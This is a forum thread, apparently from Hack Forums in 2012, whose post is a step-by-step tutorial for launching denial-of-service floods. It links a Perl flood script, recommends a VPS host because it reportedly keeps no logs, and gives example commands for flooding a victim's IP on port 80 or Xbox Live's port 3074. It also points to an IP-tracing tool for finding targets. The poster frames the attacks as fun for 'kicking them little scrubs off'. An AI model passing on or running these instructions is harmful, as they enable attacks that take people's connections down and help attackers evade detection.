Thread: [How to create a PuTTY server to DDoS; Tutorial!](#)

c0lum - March 6, 2012, 9:19 pm

Requirments:

- Credit Card/ Some form of online accessible payment (Not-Included)
- VPS (Not-Included)
- Perl Script (Included)
- PuTTY (Included)
- Filezilla (Included)

How to start out:

First off, start out by downloading the included files/ programs.

Perl Script: <http://www.mediafire.com/?qosvdi2u97u3p3o>

PuTTY: the.earth.li/~sgtatham/putty/latest/x86/putty.exe

Filezilla: <http://filezilla-project.org/download.php?type=client>

Then, you must purchase a VPS for 20(Euro)/ 26(USD), the reason you must purchase this one is because they don't check the logs & it has just about the best features.

VPS: <https://portal.hostplate.com/cart.php?a=confproduct&i=0>

Package names ; VPS Bronze

Space ; 50 GB

Bandwidth ; Unlimited

Dedicated RAM ; 512MB

Burst RAM ; 1G

Guaranteed CPU ; 1000Mhz

Dedicated IP ; 1

Kernel ; OpenVZ

OS ; Optional

Control Panel ; Optional

Uplink Port ; 1000 Mbps

Root Access ; Yes

Uptime ; 99%

7Day Money Back Guarantee ; Yes

24x7 Support ; Yes

Delivery Time ; Instant Setup

Server Location ; Evoswitch/NL

Price ; €19.99 /mo : \$26.29 /mo

One completed, you will soon receive a e-mail with your server detail; Please wait, for it may take a minute or so.

After you have received your details, go to filezilla login with your IP, Root, & Root Password(If you would like to change the Root password, you must go to the link for the server, the link is an actual web browsing link), then once in upload the slap.pl into your server, & then this step is over.

Now to complete this process, you must open up PuTTY, login with your same details as

filezilla(Make sure you have changed it to SSH at the top, or port 22).

Once logged in, the command to hit, hostboot, or DoS is:

perl slap.pl "Victims IP" "Port" "Packets" "Time"

EX: perl slap.pl 1.1.1.1 80 65500 200

or

EX: perl slap.pl 1.1.1.1 3074 65500 200

or

EX: perl slap.pl 1.1.1.1 80 0 200

or/ last

EX: perl slap.pl 1.1.1.1 3074 0 200

Port 80 = Home connection (Recommended one to use)

Port 3074 = Xbox Live connection

Thanks for using my tutorial Hackforums community, have fun kicking them little scrubs off (;

Note: To trace IP's you must have a IP Tracing program such as Cain & Abel, Download Link:

www.oxid.it/downloads/ca_setup.exe

(Says its a virus, because its obviously a hacking tool)

Once again, thanks for reading!

Need any help? Message me on one of these!

I'm confused on how you create a "PuTTY server", as PuTTY is simply a tool to connect to a VPS. One out of many.
